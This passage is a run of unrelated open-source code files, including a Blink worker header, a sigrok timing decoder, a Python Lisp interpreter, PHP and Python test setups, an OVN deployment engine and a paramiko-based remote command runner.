m_Callbacks.OnBodyData(a_Data, a_Size); } void cHTTPMessageParser::OnBodyFinished(void) { m_IsFinished = true; m_Callbacks.OnBodyFinished(); }
/* * Copyright (C) 2013 Google Inc. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following disclaimer * in the documentation and/or other materials provided with the * distribution. * * Neither the name of Google Inc. nor the names of its * contributors may be used to endorse or promote products derived from * this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #ifndef THIRD_PARTY_BLINK_RENDERER_MODULES_EXPORTED_WEB_EMBEDDED_WORKER_IMPL_H_ #define THIRD_PARTY_BLINK_RENDERER_MODULES_EXPORTED_WEB_EMBEDDED_WORKER_IMPL_H_ #include <memory> #include "base/macros.h" #include "mojo/public/cpp/bindings/pending_remote.h" #include "third_party/blink/public/mojom/cache_storage/cache_storage.mojom-blink-forward.h" #include "third_party/blink/public/web/web_embedded_worker.h" #include "third_party/blink/public/web/web_embedded_worker_start_data.h" #include "third_party/blink/renderer/core/workers/global_scope_creation_params.h" #include "third_party/blink/renderer/core/workers/worker_clients.h" #include "third_party/blink/renderer/modules/modules_export.h" #include "third_party/blink/renderer/modules/service_worker/service_worker_content_settings_proxy.h" #include "third_party/blink/renderer/platform/heap/handle.h" namespace blink { class ServiceWorkerInstalledScriptsManager; class ServiceWorkerThread; struct CrossThreadFetchClientSettingsObjectData; // The implementation of WebEmbeddedWorker. This is responsible for starting // and terminating a service worker thread. // // Currently this starts the worker thread on the main thread. Future plan is to // start the worker thread off the main thread. This means that // WebEmbeddedWorkerImpl shouldn't create garbage-collected objects during // worker startup. See https://crbug.com/988335 for details. class MODULES_EXPORT WebEmbeddedWorkerImpl final : public WebEmbeddedWorker { public: explicit WebEmbeddedWorkerImpl(WebServiceWorkerContextClient*); ~WebEmbeddedWorkerImpl() override; // WebEmbeddedWorker overrides. void StartWorkerContext( std::unique_ptr<WebEmbeddedWorkerStartData>, std::unique_ptr<WebServiceWorkerInstalledScriptsManagerParams>, mojo::ScopedMessagePipeHandle content_settings_handle, mojo::ScopedMessagePipeHandle cache_storage, mojo::ScopedMessagePipeHandle browser_interface_broker, scoped_refptr<base::SingleThreadTaskRunner> initiator_thread_task_runner) override; void TerminateWorkerContext() override; void WaitForShutdownForTesting(); private: void StartWorkerThread( std::unique_ptr<WebEmbeddedWorkerStartData> worker_start_data, std::unique_ptr<ServiceWorkerInstalledScriptsManager>, std::unique_ptr<ServiceWorkerContentSettingsProxy>, mojo::PendingRemote<mojom::blink::CacheStorage>, mojo::PendingRemote<mojom::blink::BrowserInterfaceBroker>, scoped_refptr<base::SingleThreadTaskRunner> initiator_thread_task_runner); // Creates a cross-thread copyable outside settings object for top-level // worker script fetch. std::unique_ptr<CrossThreadFetchClientSettingsObjectData> CreateFetchClientSettingsObjectData( const KURL& script_url, const SecurityOrigin*, const HttpsState&, network::mojom::IPAddressSpace, const WebFetchClientSettingsObject& passed_settings_object); // Client must remain valid through the entire life time of the worker. WebServiceWorkerContextClient* const worker_context_client_; std::unique_ptr<ServiceWorkerThread> worker_thread_; bool asked_to_terminate_ = false; DISALLOW_COPY_AND_ASSIGN(WebEmbeddedWorkerImpl); }; } // namespace blink #endif // THIRD_PARTY_BLINK_RENDERER_MODULES_EXPORTED_WEB_EMBEDDED_WORKER_IMPL_H_
using System; using DemoApp02Mvvm.Services; using Windows.ApplicationModel.Activation; using Windows.UI.Xaml; using Microsoft.Extensions.DependencyInjection; using Prism.Events; using ViewModels; namespace DemoApp02Mvvm { /// <summary> /// Provides application-specific behavior to supplement the default Application class. /// </summary> sealed partial class App : Application { private Lazy<ActivationService> _activationService; private ActivationService ActivationService { get { return _activationService.Value; } } /// <summary> /// Initializes the singleton application object. This is the first line of authored code /// executed, and as such is the logical equivalent of main() or WinMain(). /// </summary> public App() { InitializeComponent(); //Deferred execution until used. Check https://msdn.microsoft.com/library/dd642331(v=vs.110).aspx for further info on Lazy<T> class. _activationService = new Lazy<ActivationService>(CreateActivationService); RegisterServices(); } /// <summary> /// Invoked when the application is launched normally by the end user. Other entry points /// will be used such as when the application is launched to open a specific file. /// </summary> /// <param name="e">Details about the launch request and process.</param> protected override async void OnLaunched(LaunchActivatedEventArgs e) { if (!e.PrelaunchActivated) { await ActivationService.ActivateAsync(e); } } /// <summary> /// Invoked when the application is activated by some means other than normal launching. /// </summary> /// <param name="args">Event data for the event.</param> protected override async void OnActivated(IActivatedEventArgs args) { await ActivationService.ActivateAsync(args); } protected override async void OnBackgroundActivated(BackgroundActivatedEventArgs args) { await ActivationService.ActivateAsync(args); } private ActivationService CreateActivationService() { return new ActivationService(this, typeof(Views.MainPage), new Views.ShellPage()); } public IServiceProvider Services { get; private set; } private void RegisterServices() { var services = new ServiceCollection(); services.AddSingleton<IEventAggregator, EventAggregator>(); services.AddSingleton<DeveloperDetailsViewModel>(); Services = services.BuildServiceProvider(); } } }
## ## This file is part of the libsigrokdecode project. ## ## Copyright (C) 2014 Torsten Duwe <[email protected]> ## Copyright (C) 2014 Sebastien Bourdelin <[email protected]> ## ## This program is free software; you can redistribute it and/or modify ## it under the terms of the GNU General Public License as published by ## the Free Software Foundation; either version 2 of the License, or ## (at your option) any later version. ## ## This program is distributed in the hope that it will be useful, ## but WITHOUT ANY WARRANTY; without even the implied warranty of ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ## GNU General Public License for more details. ## ## You should have received a copy of the GNU General Public License ## along with this program; if not, write to the Free Software ## Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA ## import sigrokdecode as srd class SamplerateError(Exception): pass def normalize_time(t): if t >= 1.0: return '%.3f s' % t elif t >= 0.001: return '%.3f ms' % (t * 1000.0) elif t >= 0.000001: return '%.3f μs' % (t * 1000.0 * 1000.0) elif t >= 0.000000001: return '%.3f ns' % (t * 1000.0 * 1000.0 * 1000.0) else: return '%f' % t class Decoder(srd.Decoder): api_version = 2 id = 'timing' name = 'Timing' longname = 'Timing calculation' desc = 'Calculate time between edges.' license = 'gplv2+' inputs = ['logic'] outputs = ['timing'] channels = ( {'id': 'data', 'name': 'Data', 'desc': 'Data line'}, ) annotations = ( ('time', 'Time'), ) annotation_rows = ( ('time', 'Time', (0,)), ) def __init__(self, **kwargs): self.samplerate = None self.oldpin = None self.last_samplenum = None def metadata(self, key, value): if key == srd.SRD_CONF_SAMPLERATE: self.samplerate = value def start(self): self.out_ann = self.register(srd.OUTPUT_ANN) def decode(self, ss, es, data): if not self.samplerate: raise SamplerateError('Cannot decode without samplerate.') for (samplenum, (pin,)) in data: # Ignore identical samples early on (for performance reasons). if self.oldpin == pin: continue if self.oldpin is None: self.oldpin = pin self.last_samplenum = samplenum continue if self.oldpin != pin: samples = samplenum - self.last_samplenum t = samples / self.samplerate # Report the timing normalized. self.put(self.last_samplenum, samplenum, self.out_ann, [0, [normalize_time(t)]]) # Store data for next round. self.last_samplenum = samplenum self.oldpin = pin
import sys, traceback import mal_readline import mal_types as types import reader, printer from env import Env import core # read def READ(str): return reader.read_str(str) # eval def is_pair(x): return types._sequential_Q(x) and len(x) > 0 def quasiquote(ast): if not is_pair(ast): return types._list(types._symbol("quote"), ast) elif ast[0] == 'unquote': return ast[1] elif is_pair(ast[0]) and ast[0][0] == 'splice-unquote': return types._list(types._symbol("concat"), ast[0][1], quasiquote(ast[1:])) else: return types._list(types._symbol("cons"), quasiquote(ast[0]), quasiquote(ast[1:])) def is_macro_call(ast, env): return (types._list_Q(ast) and types._symbol_Q(ast[0]) and env.find(ast[0]) and hasattr(env.get(ast[0]), '_ismacro_')) def macroexpand(ast, env): while is_macro_call(ast, env): mac = env.get(ast[0]) ast = mac(*ast[1:]) return ast def eval_ast(ast, env): if types._symbol_Q(ast): return env.get(ast) elif types._list_Q(ast): return types._list(*map(lambda a: EVAL(a, env), ast)) elif types._vector_Q(ast): return types._vector(*map(lambda a: EVAL(a, env), ast)) elif types._hash_map_Q(ast): keyvals = [] for k in ast.keys(): keyvals.append(EVAL(k, env)) keyvals.append(EVAL(ast[k], env)) return types._hash_map(*keyvals) else: return ast # primitive value, return unchanged def EVAL(ast, env): while True: #print("EVAL %s" % printer._pr_str(ast)) if not types._list_Q(ast): return eval_ast(ast, env) # apply list ast = macroexpand(ast, env) if not types._list_Q(ast): return eval_ast(ast, env) if len(ast) == 0: return ast a0 = ast[0] if "def!" == a0: a1, a2 = ast[1], ast[2] res = EVAL(a2, env) return env.set(a1, res) elif "let*" == a0: a1, a2 = ast[1], ast[2] let_env = Env(env) for i in range(0, len(a1), 2): let_env.set(a1[i], EVAL(a1[i+1], let_env)) ast = a2 env = let_env # Continue loop (TCO) elif "quote" == a0: return ast[1] elif "quasiquote" == a0: ast = quasiquote(ast[1]); # Continue loop (TCO) elif 'defmacro!' == a0: func = EVAL(ast[2], env) func._ismacro_ = True return env.set(ast[1], func) elif 'macroexpand' == a0: return macroexpand(ast[1], env) elif "py!*" == a0: if sys.version_info[0] >= 3: exec(compile(ast[1], '', 'single'), globals()) else: exec(compile(ast[1], '', 'single') in globals()) return None elif "try*" == a0: if len(ast) < 3: return EVAL(ast[1], env) a1, a2 = ast[1], ast[2] if a2[0] == "catch*": err = None try: return EVAL(a1, env) except types.MalException as exc: err = exc.object except Exception as exc: err = exc.args[0] catch_env = Env(env, [a2[1]], [err]) return EVAL(a2[2], catch_env) else: return EVAL(a1, env); elif "do" == a0: eval_ast(ast[1:-1], env) ast = ast[-1] # Continue loop (TCO) elif "if" == a0: a1, a2 = ast[1], ast[2] cond = EVAL(a1, env) if cond is None or cond is False: if len(ast) > 3: ast = ast[3] else: ast = None else: ast = a2 # Continue loop (TCO) elif "fn*" == a0: a1, a2 = ast[1], ast[2] return types._function(EVAL, Env, a2, env, a1) else: el = eval_ast(ast, env) f = el[0] if hasattr(f, '__ast__'): ast = f.__ast__ env = f.__gen_env__(el[1:]) else: return f(*el[1:]) # print def PRINT(exp): return printer._pr_str(exp) # repl repl_env = Env() def REP(str): return PRINT(EVAL(READ(str), repl_env)) # core.py: defined using python for k, v in core.ns.items(): repl_env.set(types._symbol(k), v) repl_env.set(types._symbol('eval'), lambda ast: EVAL(ast, repl_env)) repl_env.set(types._symbol('*ARGV*'), types._list(*sys.argv[2:])) # core.mal: defined using the language itself REP("(def! not (fn* (a) (if a false true)))") REP("(def! load-file (fn* (f) (eval (read-string (str \"(do \" (slurp f) \")\")))))") REP("(defmacro! cond (fn* (& xs) (if (> (count xs) 0) (list 'if (first xs) (if (> (count xs) 1) (nth xs 1) (throw \"odd number of forms to cond\")) (cons 'cond (rest (rest xs)))))))") REP("(defmacro! or (fn* (& xs) (if (empty? xs) nil (if (= 1 (count xs)) (first xs) `(let* (or_FIXME ~(first xs)) (if or_FIXME or_FIXME (or ~@(rest xs))))))))") if len(sys.argv) >= 2: REP('(load-file "' + sys.argv[1] + '")') sys.exit(0) # repl loop while True: try: line = mal_readline.readline("user> ") if line == None: break if line == "": continue print(REP(line)) except reader.Blank: continue except types.MalException as e: print("Error:", printer._pr_str(e.object)) except Exception as e: print("".join(traceback.format_exception(*sys.exc_info())))
<?php putenv("APP_ENV=testing"); use Zend\Loader\AutoloaderFactory; use Zend\Mvc\Service\ServiceManagerConfig; use Zend\ServiceManager\ServiceManager; error_reporting(E_ALL | E_STRICT); chdir(__DIR__); /** * Test bootstrap, for setting up autoloading */ class Bootstrap { protected static $serviceManager; public static function init() { $zf2ModulePaths = array(dirname(dirname(__DIR__))); if (($path = static::findParentPath('vendor'))) { $zf2ModulePaths[] = $path; } if (($path = static::findParentPath('module')) !== $zf2ModulePaths[0]) { $zf2ModulePaths[] = $path; } static::initAutoloader(); // use ModuleManager to load this module and it's dependencies $config = array( 'module_listener_options' => array( 'module_paths' => $zf2ModulePaths, ), 'modules' => array( 'DoctrineModule', 'DoctrineMongoODMModule', 'Application', 'Api' ) ); $serviceManager = new ServiceManager(new ServiceManagerConfig()); $serviceManager->setService('ApplicationConfig', $config); $serviceManager->get('ModuleManager')->loadModules(); static::$serviceManager = $serviceManager; } public static function getServiceManager() { return static::$serviceManager; } protected static function initAutoloader() { $vendorPath = static::findParentPath('vendor'); $zf2Path = getenv('ZF2_PATH'); if (!$zf2Path) { if (defined('ZF2_PATH')) { $zf2Path = ZF2_PATH; } elseif (is_dir($vendorPath . '/ZF2/library')) { $zf2Path = $vendorPath . '/ZF2/library'; } elseif (is_dir($vendorPath . '/zendframework/zendframework/library')) { $zf2Path = $vendorPath . '/zendframework/zendframework/library'; } } if (!$zf2Path) { throw new RuntimeException('Unable to load ZF2. Run `php composer.phar install` or define a ZF2_PATH environment variable.'); } include $zf2Path . '/Zend/Loader/AutoloaderFactory.php'; AutoloaderFactory::factory(array( 'Zend\Loader\StandardAutoloader' => array( 'autoregister_zf' => true, 'namespaces' => array( __NAMESPACE__ => __DIR__ . '/' . __NAMESPACE__, ), ), )); } protected static function findParentPath($path) { $dir = __DIR__; $previousDir = '.'; while (!is_dir($dir . '/' . $path)) { $dir = dirname($dir); if ($previousDir === $dir) return false; $previousDir = $dir; } return $dir . '/' . $path; } } Bootstrap::init();
# -*- coding: utf-8 -*- # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import os from mock import patch from prestoadmin import config from prestoadmin.util.exception import ConfigurationError, \ ConfigFileNotFoundError from tests.base_test_case import BaseTestCase DIR = os.path.abspath(os.path.dirname(__file__)) class TestConfiguration(BaseTestCase): def test_file_does_not_exist_json(self): self.assertRaisesRegexp(ConfigFileNotFoundError, 'Missing configuration file ', config.get_conf_from_json_file, 'does/not/exist/conf.json') def test_file_is_empty_json(self): emptyconf = {} conf = config.get_conf_from_json_file(DIR + '/resources/empty.txt') self.assertEqual(conf, emptyconf) def test_file_is_empty_properties(self): emptyconf = {} conf = config.get_conf_from_properties_file( DIR + '/resources/empty.txt') self.assertEqual(conf, emptyconf) def test_file_is_empty_config(self): emptyconf = [] conf = config.get_conf_from_config_file(DIR + '/resources/empty.txt') self.assertEqual(conf, emptyconf) def test_invalid_json(self): self.assertRaisesRegexp(ConfigurationError, 'Expecting , delimiter: line 3 column 3 ' '\(char 19\)', config.get_conf_from_json_file, DIR + '/resources/invalid_json_conf.json') def test_get_config(self): config_file = os.path.join(DIR, 'resources', 'valid.config') conf = config.get_conf_from_config_file(config_file) self.assertEqual(conf, ['prop1', 'prop2', 'prop3']) def test_get_properties(self): config_file = os.path.join(DIR, 'resources', 'valid.properties') conf = config.get_conf_from_properties_file(config_file) self.assertEqual(conf, {'a': '1', 'b': '2', 'c': '3', 'd\\=': '4', 'e\\:': '5', 'f': '==6', 'g': '= 7', 'h': ':8', 'i': '9'}) @patch('__builtin__.open') def test_get_properties_ignores_whitespace(self, open_mock): file_manager = open_mock.return_value.__enter__.return_value file_manager.read.return_value = ' key1 =value1 \n \n key2= value2' conf = config.get_conf_from_properties_file('/dummy/path') self.assertEqual(conf, {'key1': 'value1', 'key2': 'value2'}) def test_get_properties_invalid(self): config_file = os.path.join(DIR, 'resources', 'invalid.properties') self.assertRaisesRegexp(ConfigurationError, 'abcd is not in the expected format: ' '<property>=<value>, <property>:<value> or ' '<property> <value>', config.get_conf_from_properties_file, config_file) def test_fill_defaults_no_missing(self): orig = {'key1': 'val1', 'key2': 'val2', 'key3': 'val3'} defaults = {'key1': 'default1', 'key2': 'default2'} filled = orig.copy() config.fill_defaults(filled, defaults) self.assertEqual(filled, orig) def test_fill_defaults(self): orig = {'key1': 'val1', 'key3': 'val3'} defaults = {'key1': 'default1', 'key2': 'default2'} filled = orig.copy() config.fill_defaults(filled, defaults) self.assertEqual(filled, {'key1': 'val1', 'key2': 'default2', 'key3': 'val3'})
# Copyright 2016 Ebay Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import sys from six.moves.urllib import parse from rally.common.i18n import _ from rally.common import logging from rally.deployment import engine # XXX: need a ovs one? from rally.deployment.serverprovider import provider from rally_ovs.plugins.ovs.deployment.engines import get_updated_server from rally_ovs.plugins.ovs.deployment.engines import OVS_USER from rally_ovs.plugins.ovs.consts import ResourceType from rally_ovs.plugins.ovs.deployment.sandbox import SandboxEngine LOG = logging.getLogger(__name__) @engine.configure(name="OvnSandboxControllerEngine", namespace="ovs") class OvnSandboxControllerEngine(SandboxEngine): """ Deploy ovn sandbox controller Sample configuration: { "type": "OvnSandboxControllerEngine", "deployment_name": "ovn-controller-node", "ovs_repo": "https://github.com/openvswitch/ovs.git", "ovs_branch": "branch-2.5", "ovs_user": "rally", "net_dev": "eth1", "controller_cidr": "192.168.10.10/16", "provider": { "type": "OvsSandboxProvider", "credentials": [ { "host": "192.168.20.10", "user": "root"} ] } } """ CONFIG_SCHEMA = { "type": "object", "properties": { "type": {"type": "string"}, "install_method": {"type": "string"}, "deployment_name": {"type": "string"}, "http_proxy": {"type": "string"}, "https_proxy": {"type": "string"}, "ovs_repo": {"type": "string"}, "ovs_branch": {"type": "string"}, "ovs_user": {"type": "string"}, "net_dev": {"type": "string"}, "controller_cidr": {"type": "string", "pattern": "^(\d+\.){3}\d+\/\d+$"}, "provider": {"type": "object"}, }, "required": ["type", "controller_cidr", "provider"] } def __init__(self, deployment): super(OvnSandboxControllerEngine, self).__init__(deployment) @logging.log_deploy_wrapper(LOG.info, _("Deploy ovn sandbox controller")) def deploy(self): self.servers = self.get_provider().create_servers() server = self.servers[0]# only support to deploy controller node # on one server install_method = self.config.get("install_method", "sandbox") LOG.info("Controller install method: %s" % install_method) self._deploy(server, install_method) deployment_name = self.deployment["name"] if not deployment_name: deployment_name = self.config.get("deployment_name", None) ovs_user = self.config.get("ovs_user", OVS_USER) ovs_controller_cidr = self.config.get("controller_cidr") net_dev = self.config.get("net_dev", "eth0") # start ovn controller with non-root user ovs_server = get_updated_server(server, user=ovs_user) cmd = "./ovs-sandbox.sh --controller --ovn \ --controller-ip %s --device %s;" % \ (ovs_controller_cidr, net_dev) if install_method == "docker": LOG.info("Do not run ssh; deployed by ansible-docker") elif install_method == "sandbox": ovs_server.ssh.run(cmd, stdout=sys.stdout, stderr=sys.stderr) else: print "Invalid install method for controller" exit(1) self.deployment.add_resource(provider_name="OvnSandboxControllerEngine", type=ResourceType.CREDENTIAL, info=ovs_server.get_credentials()) self.deployment.add_resource(provider_name="OvnSandboxControllerEngine", type=ResourceType.CONTROLLER, info={ "ip":ovs_controller_cidr.split('/')[0], "deployment_name":deployment_name}) return {"admin": None} def cleanup(self): """Cleanup OVN deployment.""" for resource in self.deployment.get_resources(): if resource["type"] == ResourceType.CREDENTIAL: server = provider.Server.from_credentials(resource.info) cmd = "[ -x ovs-sandbox.sh ] && ./ovs-sandbox.sh --cleanup-all" server.ssh.run(cmd, stdout=sys.stdout, stderr=sys.stderr, raise_on_error=False) self.deployment.delete_resource(resource.id)
<?php /** * @see https://github.com/zendframework/zend-config for the canonical source repository * @copyright Copyright (c) 2005-2017 Zend Technologies USA Inc. (http://www.zend.com) * @license https://github.com/zendframework/zend-config/blob/master/LICENSE.md New BSD License */ namespace Zend\Config\Writer; use Traversable; use Zend\Config\Exception; use Zend\Stdlib\ArrayUtils; abstract class AbstractWriter implements WriterInterface { /** * toFile(): defined by Writer interface. * * @see WriterInterface::toFile() * @param string $filename * @param mixed $config * @param bool $exclusiveLock * @return void * @throws Exception\InvalidArgumentException * @throws Exception\RuntimeException */ public function toFile($filename, $config, $exclusiveLock = true) { if (empty($filename)) { throw new Exception\InvalidArgumentException('No file name specified'); } $flags = 0; if ($exclusiveLock) { $flags |= LOCK_EX; } set_error_handler( function ($error, $message = '') use ($filename) { throw new Exception\RuntimeException( sprintf('Error writing to "%s": %s', $filename, $message), $error ); }, E_WARNING ); try { file_put_contents($filename, $this->toString($config), $flags); } catch (\Exception $e) { restore_error_handler(); throw $e; } restore_error_handler(); } /** * toString(): defined by Writer interface. * * @see WriterInterface::toString() * @param mixed $config * @return string * @throws Exception\InvalidArgumentException */ public function toString($config) { if ($config instanceof Traversable) { $config = ArrayUtils::iteratorToArray($config); } elseif (! is_array($config)) { throw new Exception\InvalidArgumentException(__METHOD__ . ' expects an array or Traversable config'); } return $this->processConfig($config); } /** * @param array $config * @return string */ abstract protected function processConfig(array $config); }
// Copyright (C) 2008 International Business Machines and others. // All Rights Reserved. // This code is published under the Eclipse Public License. // // $Id: IpInexactCq.hpp 1861 2010-12-21 21:34:47Z andreasw $ // // Authors: Andreas Waechter IBM 2008-08-31 // derived from IpIpoptCalculatedQuantities.hpp #ifndef __IPINEXACTCQ_HPP__ #define __IPINEXACTCQ_HPP__ #include "IpIpoptCalculatedQuantities.hpp" #include "IpInexactData.hpp" namespace Ipopt { /** Class for all Chen-Goldfarb penalty method specific calculated * quantities. */ class InexactCq : public IpoptAdditionalCq { public: /**@name Constructors/Destructors */ //@{ /** Constructor */ InexactCq(IpoptNLP* ip_nlp, IpoptData* ip_data, IpoptCalculatedQuantities* ip_cq); /** Default destructor */ virtual ~InexactCq(); //@} /** This method must be called to initialize the global * algorithmic parameters. The parameters are taken from the * OptionsList object. */ bool Initialize(const Journalist& jnlst, const OptionsList& options, const std::string& prefix); /** Methods for IpoptType */ //@{ static void RegisterOptions(const SmartPtr<RegisteredOptions>& roptions); //@} /** Gradient of infeasibility w.r.t. x. Jacobian of equality * constraints transpose times the equality constraints plus * Jacobian of the inequality constraints transpose times the * inequality constraints (including slacks). */ SmartPtr<const Vector> curr_jac_cdT_times_curr_cdminuss(); /** Vector of all inequality slacks for doing the slack-based scaling */ SmartPtr<const Vector> curr_scaling_slacks(); /** Vector with the slack-scaled d minus s inequalities */ SmartPtr<const Vector> curr_slack_scaled_d_minus_s(); /** Scaled norm of Ac */ Number curr_scaled_Ac_norm(); /** Scaled, squared norm of A */ Number curr_scaled_A_norm2(); /** Compute the 2-norm of a slack-scaled vector with x and s * component */ Number slack_scaled_norm(const Vector& x, const Vector &s); /** Compute x component of the W*vec product for the current * Hessian and a vector */ SmartPtr<const Vector> curr_W_times_vec_x(const Vector& vec_x); /** Compute s component of the W*vec product for the current * Hessian and a vector */ SmartPtr<const Vector> curr_W_times_vec_s(const Vector& vec_s); /** Compute x component of the W*u product for the current values. * u here is the tangential step. */ SmartPtr<const Vector> curr_Wu_x(); /** Compute s component of the W*u product for the current values. * u here is the tangential step. */ SmartPtr<const Vector> curr_Wu_s(); /** Compute the u^T*W*u product for the current values. u here is the tangential step. */ Number curr_uWu(); /** Compute the c-component of the product of the current * constraint Jacobian with the current normal step */ SmartPtr<const Vector> curr_jac_times_normal_c(); /** Compute the d-component of the product of the current * constraint Jacobian with the current normal step */ SmartPtr<const Vector> curr_jac_times_normal_d(); private: /**@name Default Compiler Generated Methods * (Hidden to avoid implicit creation/calling). * These methods are not implemented and * we do not want the compiler to implement * them for us, so we declare them private * and do not define them. This ensures that * they will not be implicitly created/called. */ //@{ /** Default Constructor */ InexactCq(); /** Copy Constructor */ InexactCq(const InexactCq&); /** Overloaded Equals Operator */ void operator=(const InexactCq&); //@} /** @name Pointers for easy access to data and NLP information. To * avoid circular references of Smart Pointers, we use a regular * pointer here. */ //@{ IpoptNLP* ip_nlp_; IpoptData* ip_data_; IpoptCalculatedQuantities* ip_cq_; //@} /** Method to easily access Inexact data */ InexactData& InexData() { InexactData& inexact_data = static_cast<InexactData&>(ip_data_->AdditionalData()); DBG_ASSERT(dynamic_cast<InexactData*>(&ip_data_->AdditionalData())); return inexact_data; } /** @name Caches */ //@{ CachedResults<SmartPtr<const Vector> > curr_jac_cdT_times_curr_cdminuss_cache_; CachedResults<SmartPtr<const Vector> > curr_scaling_slacks_cache_; CachedResults<SmartPtr<const Vector> > curr_slack_scaled_d_minus_s_cache_; CachedResults<Number> curr_scaled_Ac_norm_cache_; CachedResults<Number> slack_scaled_norm_cache_; CachedResults<SmartPtr<const Vector> > curr_W_times_vec_x_cache_; CachedResults<SmartPtr<const Vector> > curr_W_times_vec_s_cache_; CachedResults<SmartPtr<const Vector> > curr_Wu_x_cache_; CachedResults<SmartPtr<const Vector> > curr_Wu_s_cache_; CachedResults<Number> curr_uWu_cache_; CachedResults<SmartPtr<const Vector> > curr_jac_times_normal_c_cache_; CachedResults<SmartPtr<const Vector> > curr_jac_times_normal_d_cache_; //@} /** Upper bound on slack-based scaling factors */ Number slack_scale_max_; }; } // namespace Ipopt #endif
/* tslint:disable:no-unused-variable */ import { async, ComponentFixture, TestBed } from '@angular/core/testing'; import { By } from '@angular/platform-browser'; import { DebugElement } from '@angular/core'; import { StructuredSeoComponent } from './structured-seo.component'; describe('StructuredSeoComponent', () => { let component: StructuredSeoComponent; let fixture: ComponentFixture<StructuredSeoComponent>; beforeEach(async(() => { TestBed.configureTestingModule({ declarations: [ StructuredSeoComponent ], }) .compileComponents(); })); beforeEach(() => { fixture = TestBed.createComponent(StructuredSeoComponent); component = fixture.componentInstance; fixture.detectChanges(); }); it('should create', () => { expect(component).toBeTruthy(); }); });
package biz.netcentric.cq.tools.actool.configmodel.pkcs; import java.io.IOException; import java.security.GeneralSecurityException; import java.security.KeyFactory; import java.security.NoSuchAlgorithmException; import java.security.PrivateKey; import java.security.spec.InvalidKeySpecException; import java.security.spec.PKCS8EncodedKeySpec; import javax.crypto.EncryptedPrivateKeyInfo; public interface PrivateKeyDecryptor { PrivateKey decrypt(char[] password, byte[] derData) throws GeneralSecurityException, IOException; }
// Copyright (C) 2010 Matthieu Garrigues // // This file is part of dige. // // This program is free software; you can redistribute it and/or // modify it under the terms of the GNU Lesser General Public // License as published by the Free Software Foundation; either // version 3 of the License, or (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU // Lesser General Public License for more details. // // You should have received a copy of the GNU Lesser General Public // License along with this program; if not, write to the Free Software // Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA /*! **\file key_release.cpp **\author Matthieu Garrigues <[email protected]> **\date Sun Nov 7 16:06:54 2010 ** **\brief key_release implementation ** ** */ # include <QObject> # include <QEvent> # include <QKeyEvent> # include <dige/event/event.h> # include <dige/event/key_release.h> # include <dige/event/keycode.h> namespace dg { namespace event { key_release::key_release(keycode k) : k_(k) { } key_release::key_release() : k_(key_any) { } bool key_release::operator==(const key_release& b) const { return b.k_ == k_ || k_ == key_any || b.k_ == key_any; } any_event make_key_release_event(QObject*, QEvent* event) { if (event->type() == QEvent::KeyRelease) { QKeyEvent* e = (QKeyEvent*) event; if (e->isAutoRepeat()) return any_event(); return key_release(qt_key_to_dige_key(e->key())); } return any_event(); } } // end of namespace event. } // end of namespace dg.
import locale from invoke import ctask as task, Collection from functools import partial from invoke.runners import Local, Runner from paramiko.client import SSHClient, AutoAddPolicy class RemoteRunner(Runner): def __init__(self, *args, **kwargs): super(RemoteRunner, self).__init__(*args, **kwargs) self.context def start(self, command): self.ssh_client = SSHClient() self.ssh_client.load_system_host_keys() self.ssh_client.set_missing_host_key_policy(AutoAddPolicy()) self.ssh_client.connect(self.context.remote_runner.hostname, username=self.context.remote_runner.username) self.ssh_channel = self.ssh_client.get_transport().open_session() if self.using_pty: self.ssh_channel.get_pty() self.ssh_channel.exec_command(command) def stdout_reader(self): return self.ssh_channel.recv def stderr_reader(self): return self.ssh_channel.recv_stderr def default_encoding(self): return locale.getpreferredencoding(True) def wait(self): return self.ssh_channel.recv_exit_status() def returncode(self): return self.ssh_channel.recv_exit_status()
* project 2000. */ /* ==================================================================== * Copyright (c) 2000-2005 The OpenSSL Project. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the
